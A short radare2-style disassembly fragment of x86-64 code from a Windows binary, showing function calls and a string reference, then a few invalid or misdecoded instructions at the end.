lea r8, [0x14014abc0]
mov edx, 0x25
call fcn.1401046f0
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x58